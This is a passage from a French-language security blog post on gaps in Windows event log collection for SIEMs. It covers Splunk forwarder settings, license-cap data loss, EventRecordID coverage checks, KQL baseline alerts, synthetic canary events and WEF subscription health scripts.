style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Host "ID Événement $id : $statut"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-5--la-couche-agent-siem--points-de-perte-cachés">Partie 5  La Couche Agent SIEM : Points de Perte Cachés<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-5--la-couche-agent-siem--points-de-perte-cach%C3%A9s" class="hash-link" aria-label="Direct link to Partie 5  La Couche Agent SIEM : Points de Perte Cachés" title="Direct link to Partie 5  La Couche Agent SIEM : Points de Perte Cachés" translate="no">​</a></h2>
<p>Les agents SIEM (Splunk Universal Forwarder, Elastic Agent, Microsoft Monitoring Agent, etc.) introduisent leurs propres modes de défaillance. Ceux-ci sont fréquemment négligés parce que l'agent est "en cours d'exécution" et envoie des battements de cœur au SIEM, même en perdant des événements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="51-la-condition-de-compétition-du-signet">5.1 La Condition de Compétition du Signet<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#51-la-condition-de-comp%C3%A9tition-du-signet" class="hash-link" aria-label="Direct link to 5.1 La Condition de Compétition du Signet" title="Direct link to 5.1 La Condition de Compétition du Signet" translate="no">​</a></h3>
<p>Les agents SIEM lisant des fichiers <code>.evtx</code> maintiennent un signet local (marqueur de position) dans le fichier qu'ils lisent. L'agent lit depuis le signet vers l'avant, envoie les événements et met à jour le signet. La condition de compétition :</p>
<!-- -->
<p>La correction est double : rendre le journal assez grand pour qu'il ne s'enroule pas pendant le cycle de lecture de l'agent, et s'assurer que l'intervalle de traitement par lots de l'agent est assez court par rapport au taux de génération d'événements. Pour Splunk UF :</p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># inputs.conf  Réglage du Splunk Universal Forwarder pour les journaux Security à haut volume</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">[WinEventLog://Security]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">disabled = 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">start_from = oldest</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">current_only = 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">checkpointInterval = 5        # Vider le signet toutes les 5 secondes (défaut : 60)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">batch_size = 10               # Lire 10 événements par lot (réduire sur les DCs occupés)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">renderXml = true              # Capturer le XML complet pour l'extraction de champs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">blacklist1 = EventCode="4634" # Exclure les événements de déconnexion si le volume est trop élevé</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">blacklist2 = EventCode="4656" # Exclure les demandes de handles (très bruyant)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">[WinEventLog://Microsoft-Windows-Sysmon/Operational]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">disabled = 0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">start_from = oldest</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">checkpointInterval = 5</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">batch_size = 20</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">renderXml = true</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="52-perte-induite-par-le-plafond-de-licence-le-problème-budgétaire-invisible">5.2 Perte Induite par le Plafond de Licence (Le Problème Budgétaire Invisible)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#52-perte-induite-par-le-plafond-de-licence-le-probl%C3%A8me-budg%C3%A9taire-invisible" class="hash-link" aria-label="Direct link to 5.2 Perte Induite par le Plafond de Licence (Le Problème Budgétaire Invisible)" title="Direct link to 5.2 Perte Induite par le Plafond de Licence (Le Problème Budgétaire Invisible)" translate="no">​</a></h3>
<p>De nombreuses plateformes SIEM appliquent des limites d'ingestion quotidiennes basées sur le volume de licence. Quand le plafond quotidien est atteint :</p>
<ul>
<li class=""><strong>Splunk :</strong> L'indexation s'arrête. Aucun nouvel événement accepté jusqu'à la prochaine fenêtre de licence. Un avertissement apparaît dans l'interface Splunk  mais seulement si quelqu'un surveille.</li>
<li class=""><strong>Microsoft Sentinel :</strong> L'ingestion continue mais la tarification par Go signifie des pics de coûts, déclenchant parfois des décisions organisationnelles de plafonner l'ingestion  implémentées via des Règles de Collecte de Données qui filtrent silencieusement des événements.</li>
<li class=""><strong>Elastic :</strong> Les limites de licence restreignent l'utilisation des fonctionnalités, mais l'ingestion est moins fréquemment plafonnée.</li>
</ul>
<p>Vérifier l'utilisation de votre licence Splunk :</p>
<div class="language-splunk codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-splunk codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| rest /services/licenser/pools</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| table title, used_bytes, effective_quota, slave_count</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval used_GB = round(used_bytes/1073741824, 2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval quota_GB = round(effective_quota/1073741824, 2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval pct_used = round((used_bytes/effective_quota)*100, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where pct_used &gt; 80</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort -pct_used</span><br></span></code></pre></div></div>
<p>Vérifier les écarts d'indexation dans Splunk (périodes de dépassement de licence) :</p>
<div class="language-splunk codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-splunk codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">index=_internal source=*license_usage.log type=Usage</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| timechart span=1h sum(b) as octets_indexés</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval Go_indexés = round(octets_indexés/1073741824, 2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Go_indexés = 0</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-6--comment-mesurer-réellement-votre-fidélité-de-collecte">Partie 6  Comment Mesurer Réellement Votre Fidélité de Collecte<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-6--comment-mesurer-r%C3%A9ellement-votre-fid%C3%A9lit%C3%A9-de-collecte" class="hash-link" aria-label="Direct link to Partie 6  Comment Mesurer Réellement Votre Fidélité de Collecte" title="Direct link to Partie 6  Comment Mesurer Réellement Votre Fidélité de Collecte" translate="no">​</a></h2>
<p>Tout ce qui précède décrit où les choses vont mal. Cette section vous dit comment mesurer si elles vont mal dans votre environnement, en ce moment.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="61-le-test-de-continuité-eventrecordid">6.1 Le Test de Continuité EventRecordID<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#61-le-test-de-continuit%C3%A9-eventrecordid" class="hash-link" aria-label="Direct link to 6.1 Le Test de Continuité EventRecordID" title="Direct link to 6.1 Le Test de Continuité EventRecordID" translate="no">​</a></h3>
<p>La mesure la plus directe : comparer la séquence EventRecordID vue dans votre SIEM avec ce que la machine source a généré. Tout écart = événements que vous n'avez pas.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur la machine source : obtenir le EventRecordID actuel le plus élevé et le plus ancien conservé</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$journalSécurité = Get-WinEvent -LogName Security -MaxEvents 1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$évenementLePlusAncien = Get-WinEvent -LogName Security -MaxEvents 1 -Oldest</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$statsSource = [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DernierRecordId     = $journalSécurité.RecordId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    PlusAncienRecordId  = $évenementLePlusAncien.RecordId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    HorodatePlusAncien  = $évenementLePlusAncien.TimeCreated</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    TotalConservé       = $journalSécurité.RecordId - $évenementLePlusAncien.RecordId + 1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Source dernier RecordId : $($statsSource.DernierRecordId)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Source plus ancien conservé : $($statsSource.PlusAncienRecordId) à $($statsSource.HorodatePlusAncien)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Événements conservés localement : $($statsSource.TotalConservé)"</span><br></span></code></pre></div></div>
<p>Vérifiez maintenant ce que votre SIEM a pour le même hôte :</p>
<div class="language-splunk codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-splunk codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">index=wineventlog host="DC01" source="WinEventLog:Security"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| stats min(EventRecordID) as plus_ancien_siem, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        max(EventRecordID) as plus_récent_siem,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        count as total_siem</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        by host</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval pct_couverture = round((total_siem / (plus_récent_siem - plus_ancien_siem + 1)) * 100, 2)</span><br></span></code></pre></div></div>
<p>Si <code>pct_couverture</code> est substantiellement inférieur à 100%, des événements dans cette plage d'ID manquent dans votre SIEM. Le delta entre le <code>TotalConservé</code> de la source et le <code>total_siem</code> du SIEM sur la même période est votre nombre d'écarts.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="62-la-méthode-de-référence-du-volume-dévénements">6.2 La Méthode de Référence du Volume d'Événements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#62-la-m%C3%A9thode-de-r%C3%A9f%C3%A9rence-du-volume-d%C3%A9v%C3%A9nements" class="hash-link" aria-label="Direct link to 6.2 La Méthode de Référence du Volume d'Événements" title="Direct link to 6.2 La Méthode de Référence du Volume d'Événements" translate="no">​</a></h3>
<p>Une approche plus subtile mais plus évolutive : établir une référence du volume d'événements attendu par hôte par type d'événement, puis alerter sur les déviations.</p>
<div class="language-splunk codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-splunk codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">index=wineventlog source="WinEventLog:Security" EventCode=4688</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| timechart span=1h count by host</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| foreach [</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    eval avg_$host$ = mvavg($host$, 168),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    eval pct_de_moy_$host$ = round(($host$ / avg_$host$) * 100, 0)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  ]</span><br></span></code></pre></div></div>
<p>Plus pratiquement, l'équivalent KQL (Microsoft Sentinel) :</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Détecter les hôtes signalant significativement moins d'événements que leur moyenne sur 7 jours</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Indicateur de défaillance d'agent, accélération des écrasements ou suppression active</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let lookback = 7d;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">let fenêtreÉvaluation = 1h;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SecurityEvent</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(lookback)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where EventID == 4688  // Création de processus  volume élevé, bon indicateur de référence</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    NombreÉvénements = count() </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by Computer, bin(TimeGenerated, fenêtreÉvaluation)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| summarize </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    MoyenneHoraire = avg(NombreÉvénements),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ÉcartType = stdev(NombreÉvénements),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    NombreDernièreHeure = take_anyif(NombreÉvénements, TimeGenerated &gt; ago(fenêtreÉvaluation))</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    by Computer</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where isnotempty(NombreDernièreHeure)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    SeuilChute = MoyenneHoraire * 0.5,  // Alerter si en dessous de 50% de la moyenne</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    PctDeMoyenne = round((NombreDernièreHeure / MoyenneHoraire) * 100, 1)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where NombreDernièreHeure &lt; SeuilChute</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where MoyenneHoraire &gt; 10  // Exclure les hôtes avec une référence basse (trop bruyant)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project Computer, MoyenneHoraire, NombreDernièreHeure, PctDeMoyenne, SeuilChute</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by PctDeMoyenne asc</span><br></span></code></pre></div></div>
<p>Cette requête s'exécute toutes les heures. Tout hôte signalant moins de 50% de ses événements normaux de création de processus déclenche une alerte. La cause racine peut être : la machine est éteinte (attendu), l'agent a planté (corrigez-le), le journal n'est pas collecté (problème de configuration), ou un attaquant a supprimé la journalisation (répondez immédiatement).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="63-la-norme-or--injection-synthétique-dévénements">6.3 La Norme Or : Injection Synthétique d'Événements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#63-la-norme-or--injection-synth%C3%A9tique-d%C3%A9v%C3%A9nements" class="hash-link" aria-label="Direct link to 6.3 La Norme Or : Injection Synthétique d'Événements" title="Direct link to 6.3 La Norme Or : Injection Synthétique d'Événements" translate="no">​</a></h3>
<p>Le test le plus fiable : injecter des événements connus dans une machine source et vérifier qu'ils apparaissent dans votre SIEM avec les champs corrects dans une fenêtre temporelle attendue. C'est fonctionnellement équivalent à un test canari pour votre pipeline de collecte.</p>
<!-- -->
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur une machine de test ou de production :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Injecter un événement synthétique dans le journal Application avec un identifiant unique</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># que vous pouvez rechercher dans votre SIEM</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$marqueurUnique = "SIEM-FIDELITY-TEST-$(Get-Date -Format 'yyyyMMdd-HHmmss')-$(New-Guid)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Écrire un événement synthétique en utilisant la classe .NET EventLog</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$sourceÉvénement = "SIEMFidelityTest"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if (-not [System.Diagnostics.EventLog]::SourceExists($sourceÉvénement)) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    [System.Diagnostics.EventLog]::CreateEventSource($sourceÉvénement, "Application")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$journal = New-Object System.Diagnostics.EventLog("Application")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$journal.Source = $sourceÉvénement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$journal.WriteEntry($marqueurUnique, [System.Diagnostics.EventLogEntryType]::Information, 9999)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Marqueur injecté : $marqueurUnique"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Recherchez maintenant cette chaîne dans votre SIEM dans les 5 prochaines minutes."</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Output "Si absent après 10 minutes, le pipeline de collecte a une lacune."</span><br></span></code></pre></div></div>
<p>Vous pouvez envelopper ceci dans une tâche planifiée qui s'exécute toutes les 4 heures, écrit un marqueur unique, et qu'une requête SIEM séparée vérifie l'arrivée du marqueur dans une fenêtre de 15 minutes. Marqueurs manquants = défaillance du pipeline = ticket automatique.</p>
<p>Recherche SIEM pour valider l'arrivée du marqueur (Splunk) :</p>
<div class="language-splunk codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-splunk codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">index=wineventlog OR index=windows EventCode=9999 source="WinEventLog:Application"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where Message like "%SIEM-FIDELITY-TEST%"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| rex field=Message "SIEM-FIDELITY-TEST-(?&lt;id_marqueur&gt;[^\s]+)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval secondes_latence = now() - strptime(substr(id_marqueur, 1, 15), "%Y%m%d-%H%M%S")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| table _time, host, id_marqueur, secondes_latence</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort -_time</span><br></span></code></pre></div></div>
<p>Si <code>secondes_latence</code> est constamment supérieur à 900 (15 minutes), votre pipeline de collecte est trop lent pour une détection significative des incidents à évolution rapide.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="64-vérifier-la-santé-des-abonnements-wef">6.4 Vérifier la Santé des Abonnements WEF<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#64-v%C3%A9rifier-la-sant%C3%A9-des-abonnements-wef" class="hash-link" aria-label="Direct link to 6.4 Vérifier la Santé des Abonnements WEF" title="Direct link to 6.4 Vérifier la Santé des Abonnements WEF" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sur le serveur WEC  afficher la santé de tous les abonnements et leurs sources</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil es  # Lister tous les abonnements</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Pour chaque abonnement, vérifier le statut d'exécution de toutes les sources enrollées</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$abonnements = wecutil es</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($abo in $abonnements) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Host "`n=== Abonnement : $abo ===" -ForegroundColor Cyan</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Obtenir la configuration complète de l'abonnement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    wecutil gs "$abo" | Select-String -Pattern "Name|Status|Enabled|Uri"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    # Obtenir le statut d'exécution par source</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    wecutil gr "$abo" | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        if ($_ -match "Source|LastError|NextRetry|LastHeartbeat") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            if ($_ -match "LastError" -and $_ -notmatch "LastError: 0x0") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Write-Host $_ -ForegroundColor Red  # Erreur non nulle = problème</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            } else {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Write-Host $_</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>Rechercher les sources avec des valeurs <code>LastError</code> autres que <code>0x0</code>. Codes d'erreur courants et leur signification :</p>
<table><thead><tr><th>Code d'Erreur</th><th>Signification</th><th>Action</th></tr></thead><tbody><tr><td>0x0</td><td>OK</td><td>Aucune action requise</td></tr><tr><td>0x80070005</td><td>Accès refusé</td><td>Vérifier la configuration WinRM, DACL sur l'abonnement</td></tr><tr><td>0x80070776</td><td>Abonnement non trouvé</td><td>Ré-appliquer GPO, redémarrer le service WEC</td></tr><tr><td>0x803300004</td><td>Connexion refusée</td><td>WinRM non en cours d'exécution sur la source, pare-feu bloquant 5985</td></tr><tr><td>0x803300005</td><td>Impossible de se connecter</td><td>Échec de résolution DNS, problème réseau</td></tr><tr><td>0x8033000f</td><td>Plus de points de terminaison</td><td>Machine source hors ligne ou inaccessible</td></tr></tbody></table>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trouver toutes les sources WEF dont le dernier battement de cœur remonte à plus de 2 heures</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ces machines ont des lacunes de couverture potentielles</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$deuxHeuresAvant = (Get-Date).AddHours(-2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wecutil gr "BaselineSubscription" |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-String "Source:|LastHeartbeat:" |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $ligne = $_.Line.Trim()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        if ($ligne -match "^Source:") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $sourceActuelle = ($ligne -split "Source: ")[1]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        if ($ligne -match "LastHeartbeat:") {</span><br></span><span 